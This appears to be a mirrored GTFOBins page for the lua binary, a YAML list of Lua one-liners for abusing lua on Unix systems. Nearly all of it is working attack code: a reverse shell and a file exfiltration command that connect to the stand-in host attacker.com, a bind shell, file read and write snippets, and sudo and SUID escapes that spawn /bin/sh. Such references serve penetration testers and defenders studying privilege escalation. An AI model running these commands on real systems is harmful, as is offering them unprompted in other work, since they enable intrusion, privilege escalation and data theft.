mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-16 17:01:38 +02:00
69 lines
2.6 KiB
Markdown
69 lines
2.6 KiB
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: lua -e 'os.execute("/bin/sh")'
|
|
non-interactive-reverse-shell:
|
|
- description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. This requires `lua-socket` installed.
|
|
code: |
|
|
export RHOST=attacker.com
|
|
export RPORT=12345
|
|
lua -e 'local s=require("socket");
|
|
local t=assert(s.tcp());
|
|
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
|
while true do
|
|
local r,x=t:receive();local f=assert(io.popen(r,"r"));
|
|
local b=assert(f:read("*a"));t:send(b);
|
|
end;
|
|
f:close();t:close();'
|
|
non-interactive-bind-shell:
|
|
- description: Run `nc target.com 12345` on the attacker box to connect to the shell. This requires `lua-socket` installed.
|
|
code: |
|
|
export LPORT=12345
|
|
lua -e 'local k=require("socket");
|
|
local s=assert(k.bind("*",os.getenv("LPORT")));
|
|
local c=s:accept();
|
|
while true do
|
|
local r,x=c:receive();local f=assert(io.popen(r,"r"));
|
|
local b=assert(f:read("*a"));c:send(b);
|
|
end;c:close();f:close();'
|
|
file-upload:
|
|
- description: Send a local file via TCP. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. This requires `lua-socket` installed.
|
|
code: |
|
|
RHOST=attacker.com
|
|
RPORT=12345
|
|
LFILE=file_to_send
|
|
lua -e '
|
|
local f=io.open(os.getenv("LFILE"), 'rb')
|
|
local d=f:read("*a")
|
|
io.close(f);
|
|
local s=require("socket");
|
|
local t=assert(s.tcp());
|
|
t:connect(os.getenv("RHOST"),os.getenv("RPORT"));
|
|
t:send(d);
|
|
t:close();'
|
|
file-download:
|
|
- description: Fetch a remote file via TCP. Run `nc target.com 12345
|
|
< "file_to_send"` on the attacker box to send the file. This requires `lua-socket` installed.
|
|
code: |
|
|
export LPORT=12345
|
|
export LFILE=file_to_save
|
|
lua -e 'local k=require("socket");
|
|
local s=assert(k.bind("*",os.getenv("LPORT")));
|
|
local c=s:accept();
|
|
local d,x=c:receive("*a");
|
|
c:close();
|
|
local f=io.open(os.getenv("LFILE"), "wb");
|
|
f:write(d);
|
|
io.close(f);'
|
|
file-write:
|
|
- code: lua -e 'local f=io.open("file_to_write", "wb"); f:write("DATA"); io.close(f);'
|
|
file-read:
|
|
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
|
suid:
|
|
- code: lua -e 'local f=io.open("file_to_read", "rb"); print(f:read("*a")); io.close(f);'
|
|
sudo:
|
|
- code: sudo lua -e 'os.execute("/bin/sh")'
|
|
limited-suid:
|
|
- code: ./lua -e 'os.execute("/bin/sh")'
|
|
---
|